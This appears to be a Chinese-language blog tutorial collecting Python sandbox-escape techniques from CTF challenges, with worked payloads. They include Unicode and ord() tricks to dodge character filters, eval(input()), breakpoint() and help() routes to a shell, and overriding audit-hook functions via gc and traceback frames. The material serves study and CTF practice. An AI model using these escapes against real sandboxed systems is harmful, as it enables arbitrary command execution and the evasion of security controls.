    题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

    1
    2
    print(open(bytes([102,108,97,103,46,116,120,116])).read())

    函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # f = 102 = 333-231 = ord('ō')-ord('ç')
    # a = 108 = 333-225 = ord('ō')-ord('á')
    # l = 97 = 333-236 = ord('ō')-ord('ì')
    # g = 103 = 333-230 = ord('ō')-ord('æ')
    # . = 46 = 333-287 = ord('ō')-ord('ğ')
    # t = 116 = 333-217 = ord('ō')-ord('Ù')
    # x = 120 = = 333-213 = ord('ō')-ord('Õ')

    print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

    但这样的话其实长度超出了限制,而题目的 eval 表示不支持分号 ;

    这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload

    1
    2
    exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())") 

    但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)

    当然,可以直接使用 input 函数来绕过长度限制。

    • 打开 input 输入

      如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

      以 BYUCTF2023 jail a-z0-9 为例:

      1
      2
      eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) 

      即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)

      1
      2
      𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵()) 

      这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

      1
      2
      __import__('os').system('whoami') 

      打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

      下面是一些打开输入流的方式:

      • sys.stdin.read()

        注意输入完毕之后按 ctrl+d 结束输入

        1
        2
        3
        4
        5
        6
        >>> eval(sys.stdin.read())
        __import__('os').system('whoami')
        root
        0
        >>>

      • sys.stdin.readline()

        1
        2
        3
        >>> eval(sys.stdin.readline())
        __import__('os').system('whoami')

      • sys.stdin.readlines()

        1
        2
        3
        >>> eval(sys.stdin.readlines()[0])
        __import__('os').system('whoami')

        在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

    • breakpoint 函数

      pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

      在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      >>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
      --Return--
      > <stdin>(1)<module>()->None
      (Pdb) __import__('os').system('ls')
      a-z0-9.py exp2.py exp.py flag.txt
      0
      (Pdb) __import__('os').system('sh')
      $ ls
      a-z0-9.py exp2.py exp.py flag.txt

    • help 函数

      help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

      当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助(不编码也能打开)

      1
      2
      𝘩𝘦𝘭𝘱() 

      然后输入 os,此时会进入 os 的帮助文档。

      1
      2
      help> os 

      然后再输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

      1
      2
      3
      4
      help> os
      $ ls
      a-z0-9.py exp2.py exp.py flag.txt

    • 字符串叠加

      参考[CISCN 2023 初赛]pyshell,通过_不断的进行字符串的叠加,再利用eval()进行一些命令的执行

      我们想执行的代码:__import__("os").popen("tac flag").read()

      1
      2
      3
      4
      5
      6
      '__import__'
      _+'("os").p'
      _+'open("ta'
      _+'c flag")'
      _+'.read()'

  9. 变量覆盖与函数篡改

    在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

    sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__'] 就可以访问当前模块定义的所有函数以及全局变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    >>> aaa = 'bbb'
    >>> def my_input():
    ... dict_global = dict()
    ... while True:
    ... try:
    ... input_data = input("> ")
    ... except EOFError:
    ... print()
    ... break
    ... except KeyboardInterrupt:
    ... print('bye~~')
    ... continue
    ... if input_data == '':
    ... continue
    ... try:
    ... complie_code = compile(input_data, '<string>', 'single')
    ... except SyntaxError as err:
    ... print(err)
    ... continue
    ... try:
    ... exec(complie_code, dict_global)
    ... except Exception as err:
    ... print(err)
    ...
    >>> import sys
    >>> sys.modules['__main__']
    <module '__main__' (built-in)>
    >>> dir(sys.modules['__main__'])
    ['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
    >>> sys.modules['__main__'].aaa
    'bbb'

    除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.

    总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取。

    利用 gc 获取已删除模块

    这个思路来源于 writeup by fab1ano – github

    这道题的目标是覆盖 __main__ 中的 __exit 函数,但是题目将 sys.modules['__main__'] 删除了,无法直接获取.

    1
    2
    3
    4
    for module in set(sys.modules.keys()):
    if module in sys.modules:
    del sys.modules[module]

    gc 是Python的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。

    Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。

    下面是一些 gc 模块中的主要函数:

    1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。
    2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。
    3. gc.get_referrers(*objs):这个函数会返回指向 objs 中任何一个对象的对象列表。

    exp 如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    for obj in gc.get_objects():
    if '__name__' in dir(obj):
    if '__main__' in obj.__name__:
    print('Found module __main__')
    mod_main = obj
    if 'os' == obj.__name__:
    print('Found module os')
    mod_os = obj
    mod_main.__exit = lambda x : print("[+] bypass")

    在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.

    利用 traceback 获取模块

    这个思路来源于 writeup by hstocks – github

    主动抛出异常, 并获取其后要执行的代码, 然后将__exit 进行替换, 思路也是十分巧妙.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    try:
    raise Exception()
    except Exception as e:
    _, _, tb = sys.exc_info()
    nxt_frame = tb.tb_frame

    # Walk up stack frames until we find one which
    # has a reference to the audit function
    while nxt_frame:
    if 'audit' in nxt_frame.f_globals:
    break
    nxt_frame = nxt_frame.f_back

    # Neuter the __exit function
    nxt_frame.f_globals['__exit'] = print

    # Now we're free to call whatever we want
    os.system('cat /flag*')

    但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.__getattr__ hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用

[!NOTE]

后面的内容本人看不懂了,还待继续学习,缺乏自己的理解和运用,再往后搬运别人的文章也没什么意义了。不过本人会把相关的参考链接放在末尾,以交流学习。

参考链接

Python Jail 沙盒逃逸 合集

python沙箱逃逸总结

(感谢大佬的文章,收益良多,学到了不少新知识)

  • 标题: Python 沙箱逃逸方式及绕过方法整理
  • 作者: 耀鳞光翼
  • 创建于 : 2025-01-12 22:48:00
  • 更新于 : 2025-04-04 12:03:17
  • 链接: https://blog.lightwing.top/2025/01/12/python_jail_escape/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论